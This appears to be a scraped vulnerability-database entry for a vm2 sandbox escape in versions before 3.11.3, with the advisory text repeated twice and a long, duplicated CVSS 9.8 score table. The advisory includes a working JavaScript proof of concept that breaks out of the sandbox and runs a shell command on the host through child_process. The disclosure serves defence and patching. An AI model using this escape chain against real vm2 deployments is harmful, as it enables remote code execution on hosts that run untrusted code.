vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.3, it is possible to catch a host exception using the yield* expression inside…
GitHub_M·CWE-668·Published 2026-05-13
vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.3, it is possible to catch a host exception using the yield* expression inside an async generator. When the generator is closed using the return function, the value is awaited on and exceptions thrown in the then call will be caught by the runtime and passed to the yield* iterator as the next value. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. This vulnerability is fixed in 3.11.3.
vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.3, it is possible to catch a host exception using the yield* expression inside an async generator. When the generator is closed using the return function, the value is awaited on and exceptions thrown in the then call will be caught by the runtime and passed to the yield* iterator as the next value. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. This vulnerability is fixed in 3.11.3.
### Summary VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. ### Details It is possible to catch a host exception using the `yield*` expression inside an async generator. When the generator is closed using the `return` function, the value is awaited on and exceptions thrown in the `then` call will be catched by the runtime and passed to the `yield*` iterator as the next value. ### PoC ```js const {VM} = require("vm2"); const vm = new VM(); console.log(vm.run(` class E extends Error {} function so(d) { if (d > 0) so(d-1); const e = new E(); e.stack; throw e; } async function* helper() { yield* { [Symbol.asyncIterator]: ()=>({ next: v=>({value: v, done: false}) }) }; } async function doCatch(f) { const i=helper(); await i.next(); const v = await i.return({then(r){f();r();}}); return v.value; } (async function f() { let min = 0; let max = 10000000; while (min<max) { const mid = (min+max)>>1; const e = await doCatch(()=>so(mid)); if (e.name==="RangeError" && !(e instanceof RangeError)) { e.constructor.constructor("return process")().mainModule.require('child_process').execSync('touch pwned'); return; } if (e instanceof E) { min = mid+1; } else { max = mid; } } })(); `)); ``` ### Impact Attackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.
### Summary VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. ### Details It is possible to catch a host exception using the `yield*` expression inside an async generator. When the generator is closed using the `return` function, the value is awaited on and exceptions thrown in the `then` call will be catched by the runtime and passed to the `yield*` iterator as the next value. ### PoC ```js const {VM} = require("vm2"); const vm = new VM(); console.log(vm.run(` class E extends Error {} function so(d) { if (d > 0) so(d-1); const e = new E(); e.stack; throw e; } async function* helper() { yield* { [Symbol.asyncIterator]: ()=>({ next: v=>({value: v, done: false}) }) }; } async function doCatch(f) { const i=helper(); await i.next(); const v = await i.return({then(r){f();r();}}); return v.value; } (async function f() { let min = 0; let max = 10000000; while (min<max) { const mid = (min+max)>>1; const e = await doCatch(()=>so(mid)); if (e.name==="RangeError" && !(e instanceof RangeError)) { e.constructor.constructor("return process")().mainModule.require('child_process').execSync('touch pwned'); return; } if (e instanceof E) { min = mid+1; } else { max = mid; } } })(); `)); ``` ### Impact Attackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.
| Version | Type | Source | Base | Exp | Impact | Vector |
|---|---|---|---|---|---|---|
| 3.1 | Primary | cve.org | 9.8 | — | — | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 3.1 | Primary | cve.org | 9.8 | — | — | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 3.1 | Primary | cve.org | 9.8 | — | — | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 3.1 | Primary | cve.org | 9.8 | — | — | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 3.1 | Primary | cve.org | 9.8 | — | — | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 3.1 | Primary | cve.org | 9.8 | — | — | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 3.1 | Primary | cve.org | 9.8 | — | — | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 3.1 | Primary | cve.org | 9.8 | — | — | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 3.1 | Primary | cve.org | 9.8 | — | — | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 3.1 | Primary | cve.org | 9.8 | — | — | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 3.1 | Primary | cve.org | 9.8 | — | — | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 3.1 | Primary | cve.org | 9.8 | — | — | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 3.1 | Secondary | GHSA | 9.8 | — | — | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 3.1 | Secondary | ENISA EUVD | 9.8 | — | — | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 3.1 | Secondary | NVD | 9.8 | 3.9 | 5.9 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 3.1 | Secondary | NVD | 9.8 | 3.9 | 5.9 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |